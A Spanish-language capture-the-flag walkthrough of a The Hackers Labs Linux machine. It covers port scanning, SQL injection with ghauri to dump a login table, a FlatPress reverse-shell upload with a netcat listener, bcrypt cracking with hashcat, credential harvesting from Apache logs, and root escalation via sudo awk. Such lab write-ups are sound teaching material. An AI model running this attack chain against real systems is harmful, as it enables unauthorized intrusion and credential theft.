En esta ocasión voy a resolver una máquina Linux creada por rodgar de dificultad Avanzado para la plataforma de The Hackers Labs.
1: Escaneo de la red local
$ sudo arp-scan -I enp0s8 --localnet
Este comando utiliza arp-scan
, que es una herramienta para descubrir hosts en una red local utilizando el protocolo ARP. La opción -I enp0s8
especifica la interfaz de red, que en este caso es enp0s8
. El parámetro --localnet
le dice a la herramienta que escanee toda la red local.
Salida:
10.0.2.10 08:00:27:11:15:84 PCS Systemtechnik GmbH
Aquí vemos que se encontró un dispositivo en la red local con la dirección IP 10.0.2.10
y la dirección MAC correspondiente.
2: Escaneo de puertos
$ rustscan -a 10.0.2.10 -b 10
Usamos rustscan
, que es una herramienta rápida de escaneo de puertos, para ver qué puertos están abiertos en la máquina con IP 10.0.2.10
. La opción -a
especifica la dirección IP, y -b
es para el batch size (número de puertos que se escanean simultáneamente).
Salida:
Open 10.0.2.10:22
Open 10.0.2.10:80
Open 10.0.2.10:8080
Esto nos dice que los puertos 22 (SSH), 80 (HTTP) y 8080 (HTTP alternativo) están abiertos.
3: Escaneo detallado con Nmap
$ sudo nmap -sCV -p22,80,8080 10.0.2.10
Con nmap
hacemos un escaneo más profundo en los puertos descubiertos, usando las opciones -sCV
para obtener versiones de los servicios y ejecutar scripts básicos. La opción -p
especifica los puertos a escanear.
Salida:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
8080/tcp open http Apache httpd 2.4.62 ((Debian))
Vemos que el puerto 22 está corriendo OpenSSH
, y los puertos 80 y 8080 están usando el servidor web Apache. Además, el puerto 80 está corriendo una aplicación llamada FlatPress
.
4: Explotación con SQLi
Echamos un vistazo a las webs que hay en el puerto 80 y 8080 y vemos que hay un posible SQLi al realizar una busqueda.
$ ghauri -u http://10.0.2.10:8080/search.php?query=a --dbs
Se utilizó ghauri
, una herramienta para explotar inyecciones SQL (SQLi). La opción -u
indica la URL objetivo, y --dbs
pide que se enumeren las bases de datos disponibles.
Salida:
available databases [6]:
[*] performance_schema
[*] Nombres
[*] sys
[*] mysql
[*] information_schema
[*] FlatPress
Esto confirma que se puede explotar la vulnerabilidad SQLi, y muestra las bases de datos disponibles. Nos interesa la base de datos FlatPress
.
5: Dump de la tabla de login
$ ghauri -u http://10.0.2.10:8080/search.php?query=a -D FlatPress -T login --dump
Aquí estamos dumpeando (extrayendo) el contenido de la tabla login
en la base de datos FlatPress
. La opción -D
especifica la base de datos, -T
la tabla, y --dump
para volcar el contenido.
Salida:
+----+--------+-----------------------+
| id | user | password |
+----+--------+-----------------------+
| 1 | r0dgar | SNIETbkGBCnhFqeUJuqBO |
+----+--------+-----------------------+
Logramos extraer las credenciales del usuario r0dgar
.
Nos logueamos en el panel de admin con las credenciales y aprovechando de una vulnerabilidad que hay en la versión de FlatPress, subimos una shell reversa. Podemos seguir los pasos que explican aquí https://github.com/flatpressblog/flatpress/issues/152
6: Iniciar un listener con Netcat
$ nc -nlvp 8888
Con este comando usamos netcat
para iniciar un listener en el puerto 8888. La opción -n
deshabilita DNS, -l
es para escuchar conexiones entrantes, -v
para modo detallado, y -p
especifica el puerto.
Salida:
Ncat: Connection from 10.0.2.10:52336.
Se establece una conexión desde la IP 10.0.2.10
. Hacemos el tratamiento de la tty y ya estamos dentro del servidor.
7: Ver usuarios del sistema
www-data@TheHackersLabs-Base:/$ cat /etc/passwd | grep bash
Este comando muestra todos los usuarios del sistema que tienen acceso a un shell bash.
Salida:
root:x:0:0:root:/root:/bin/bash
pedro:x:1001:1001::/home/pedro:/bin/bash
flate:x:1002:1002::/home/flate:/bin/bash
Tenemos dos usuarios: pedro
y flate
.
8: Buscar archivos de pedro
www-data@TheHackersLabs-Base:/$ find / -user pedro -type f 2>/dev/null
Buscamos archivos que pertenezcan al usuario pedro
. La opción 2>/dev/null
es para ocultar mensajes de error.
Salida:
/opt/hash.txt
Encontramos un archivo interesante: /opt/hash.txt
.
9: Ver contenido del archivo hash.txt
www-data@TheHackersLabs-Base:/$ cat /opt/hash.txt
Mostramos el contenido del archivo.
Salida:
$2b$12$Qq75yQ3G.ydG2nxr4LzAPeJ6GE8po1NtjOAGZ2l1aIGa5//I5J/Xq
Parece ser un hash bcrypt.
10: Cracking del hash
$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
Usamos hashcat
para crackear el hash usando la wordlist rockyou.txt
.
Salida:
$2b$12$Qq75yQ3G.ydG2nxr4LzAPeJ6GE8po1NtjOAGZ2l1aIGa5//I5J/Xq:secret
La contraseña correspondiente al hash es secret
.
11: Buscar en logs de Apache
pedro@TheHackersLabs-Base:/var/log/apache2$ grep -rnw flate .
Buscamos la palabra flate
en los logs de Apache.
Salida:
./access.log.1:21:203.0.113.56 - flate [12/Sep/2024:12:03:55 +0000] "POST /login HTTP/1.1" 401 4812 "username=flate&password=HPAbcmOgSjidaoWkXUQjw"
Encontramos las credenciales de flate
: HPAbcmOgSjidaoWkXUQjw
.
12: Cambiar a usuario flate
pedro@TheHackersLabs-Base:/var/log/apache2$ su flate
Usamos el comando su
para cambiar al usuario flate
usando la contraseña encontrada.
13: Escalada de privilegios
flate@TheHackersLabs-Base:/var/log/apache2$ sudo -l
Vemos qué comandos puede ejecutar flate
como root.
Salida:
(root) NOPASSWD: /usr/bin/awk
flate
puede ejecutar awk
como root sin contraseña.
14: Obtener shell root
flate@TheHackersLabs-Base:/var/log/apache2$ sudo awk 'BEGIN {system("/bin/bash")}'
Usamos awk
para ejecutar un shell como root, aprovechando el permiso NOPASSWD
.
Salida:
root@TheHackersLabs-Base:/var/log/apache2#
¡Ya somos root!